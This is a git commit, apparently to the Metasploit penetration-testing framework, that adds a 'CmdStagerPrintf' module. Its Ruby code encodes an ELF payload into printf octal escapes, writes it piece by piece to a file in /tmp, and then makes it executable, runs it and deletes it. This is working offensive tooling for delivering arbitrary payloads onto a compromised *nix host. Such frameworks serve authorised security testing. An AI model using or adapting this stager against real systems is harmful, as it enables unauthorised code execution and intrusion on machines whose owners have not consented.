Add CmdStagerPrintf

bug/bundler_fix
Markus Wulftange 2013-09-23 22:02:29 +02:00
parent 973bdc3fe0
commit 9353929945
4 changed files with 144 additions and 0 deletions

View File

@ -0,0 +1,25 @@
require 'msf/core/exploit/cmdstager'
module Msf
####
# Allows for staging cmd to arbitrary payloads through the CmdStagerPrintf.
#
# This stager uses a POSIX-conformant printf, that supports the interpretation
# of octal escapes, to drop an ELF with the payload embedded to disk.
####
module Exploit::CmdStagerPrintf
include Msf::Exploit::CmdStager
# Initializes a CmdStagerPrintf instance for the supplied payload
#
# @param exe [String] The payload embedded into an ELF
# @return [Rex::Exploitation::CmdStagerPrintf] Stager instance
def create_stager(exe)
Rex::Exploitation::CmdStagerPrintf.new(exe)
end
end
end

View File

@ -26,6 +26,7 @@ require 'msf/core/exploit/cmdstager_debug_asm'
require 'msf/core/exploit/cmdstager_tftp'
require 'msf/core/exploit/cmdstager_bourne'
require 'msf/core/exploit/cmdstager_echo'
require 'msf/core/exploit/cmdstager_printf'
# Protocol
require 'msf/core/exploit/tcp'

View File

@ -7,3 +7,4 @@ require 'rex/exploitation/cmdstager/debug_asm'
require 'rex/exploitation/cmdstager/tftp'
require 'rex/exploitation/cmdstager/bourne'
require 'rex/exploitation/cmdstager/echo'
require 'rex/exploitation/cmdstager/printf'

View File

@ -0,0 +1,117 @@
# -*- coding: binary -*-
require 'rex/text'
require 'rex/arch'
require 'msf/core/framework'
require 'shellwords'
module Rex
module Exploitation
class CmdStagerPrintf < CmdStagerBase
def initialize(exe)
super
@var_elf = Rex::Text.rand_text_alpha(5)
end
#
# Override to ensure opts[:temp] is a correct *nix path
#
def generate(opts = {})
opts[:temp] = opts[:temp] || '/tmp/'
opts[:temp].gsub!(/\\/, '/')
opts[:temp] = opts[:temp].shellescape
opts[:temp] << '/' if opts[:temp][-1,1] != '/'
super
end
#
# Override to set the extra byte count
#
def generate_cmds(opts)
@cmd_start = "printf '"
@cmd_end = "'>>#{@tempdir}#{@var_elf}"
xtra_len = @cmd_start.length + @cmd_end.length + 1
opts.merge!({ :extra => xtra_len })
super
end
#
# Encode into a "\12\345" octal format that printf understands
#
def encode_payload(opts)
encoded = @exe.dup
# encode only necessary characters with octal escapes
# see Shellwords::shellescape for pattern reference
encoded.gsub!(/[^A-Za-z0-9_\-.,:\/@]/) { |match|
Rex::Text.to_octal(match[0])
}
# remove leading '0's from an octal escape only if it is not followed by
# another digit, e. g., '\012a' -> '\12a' but not '\0123' -> '\123'
encoded.gsub!(/\\(?:00([0-9])|0([1-9][0-9]))(?![0-9])/, '\\\\\\1\\2')
return encoded
end
#
# Override it to ensure that the octal representation of a byte isn't cut
#
def slice_up_payload(encoded, opts)
tmp = encoded.dup
parts = []
xtra_len = opts[:extra]
xtra_len ||= 0
while (tmp.length > 0)
part = tmp.slice(0, (opts[:linemax] - xtra_len))
# remove the last octal escape if it may be imcomplete
pos = part[-4, 4].index('\\')
part.slice!(0, part.length - 4 + pos) if pos > 0
parts << part
tmp.slice!(0, part.length)
end
parts
end
#
# Combine the parts of the encoded file with the stuff that goes
# before and after it.
#
def parts_to_commands(parts, opts)
parts.map do |p|
@cmd_start + p + @cmd_end
end
end
#
# Since the binary has been already dropped to disk, just execute and
# delete it
#
def generate_cmds_decoder(opts)
cmds = []
# Make it all happen
cmds << "chmod +x #{@tempdir}#{@var_elf}"
cmds << "#{@tempdir}#{@var_elf}"
# Clean up after unless requested not to..
unless opts[:nodelete]
cmds << "rm -f #{@tempdir}#{@var_elf}"
end
return cmds
end
def cmd_concat_operator
" ; "
end
end
end
end